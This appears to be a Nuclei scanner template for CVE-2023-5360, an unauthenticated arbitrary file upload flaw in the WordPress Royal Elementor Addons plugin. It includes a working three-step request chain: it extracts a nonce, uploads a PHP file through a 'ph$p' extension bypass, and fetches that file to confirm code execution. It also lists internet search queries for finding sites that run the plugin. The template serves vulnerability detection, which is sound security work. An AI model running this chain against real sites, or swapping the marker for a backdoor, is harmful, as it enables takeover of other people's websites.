WordPress Royal Elementor Addons Plugin <= 1.3.78 - Arbitrary File Upload

id: CVE-2023-5360

info:
  name: WordPress Royal Elementor Addons Plugin <= 1.3.78 - Arbitrary File Upload
  author: theamanrawat
  severity: critical
  description: |
    Arbitrary File Upload vulnerability in WordPress Royal Elementor Addons Plugin. This could allow a malicious actor to upload any type of file to your website. This can include backdoors which are then executed to gain further access to your website. This vulnerability has been fixed in version 1.3.79
  impact: |
    Unauthenticated attackers can upload arbitrary files including PHP backdoors to gain complete control of the WordPress site.
  remediation: Fixed in 1.3.79
  reference:
    - https://wordpress.org/plugins/royal-elementor-addons/
    - https://wpscan.com/vulnerability/281518ff-7816-4007-b712-63aed7828b34/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5360
    - https://wpscan.com/vulnerability/281518ff-7816-4007-b712-63aed7828b34
    - http://packetstormsecurity.com/files/175992/WordPress-Royal-Elementor-Addons-And-Templates-Remote-Shell-Upload.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-5360
    cwe-id: CWE-434
    epss-score: 0.86352
    epss-percentile: 0.99736
    cpe: cpe:2.3:a:royal-elementor-addons:royal_elementor_addons:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: royal-elementor-addons
    product: royal_elementor_addons
    framework: wordpress
    shodan-query: http.html:/plugins/royal-elementor-addons/
    fofa-query: body=/plugins/royal-elementor-addons/
    publicwww-query: "/plugins/royal-elementor-addons/"
  tags: wpscan,packetstorm,cve,cve2023,rce,wordpress,wp-plugin,wp,royal-elementor-addons,unauth,intrusive,vkev,vuln
variables:
  file: "{{to_lower(rand_text_alpha(5))}}"
  string: "CVE-2023-5360"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-ajax.php?action=wpr_addons_upload_file HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------318949277012917151102295043236

        -----------------------------318949277012917151102295043236
        Content-Disposition: form-data; name="uploaded_file"; filename="{{file}}.ph$p"
        Content-Type: image/png

        <?php echo md5("{{string}}");unlink(__FILE__);?>
        -----------------------------318949277012917151102295043236
        Content-Disposition: form-data; name="allowed_file_types"

        ph$p
        -----------------------------318949277012917151102295043236
        Content-Disposition: form-data; name="triggering_event"

        click
        -----------------------------318949277012917151102295043236
        Content-Disposition: form-data; name="wpr_addons_nonce"

        {{nonce}}
        -----------------------------318949277012917151102295043236--
      - |
        GET /wp-content/uploads/wpr-addons/forms/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - '{{md5(string)}}'

    extractors:
      - type: regex
        name: nonce
        part: body_1
        group: 1
        regex:
          - 'WprConfig\s*=\s*{[^}]*"nonce"\s*:\s*"([^"]*)"'
        internal: true

      - type: regex
        name: filename
        part: body_2
        group: 1
        regex:
          - 'wp-content\\\/uploads\\\/wpr-addons\\\/forms\\\/(.*?).php'
        internal: true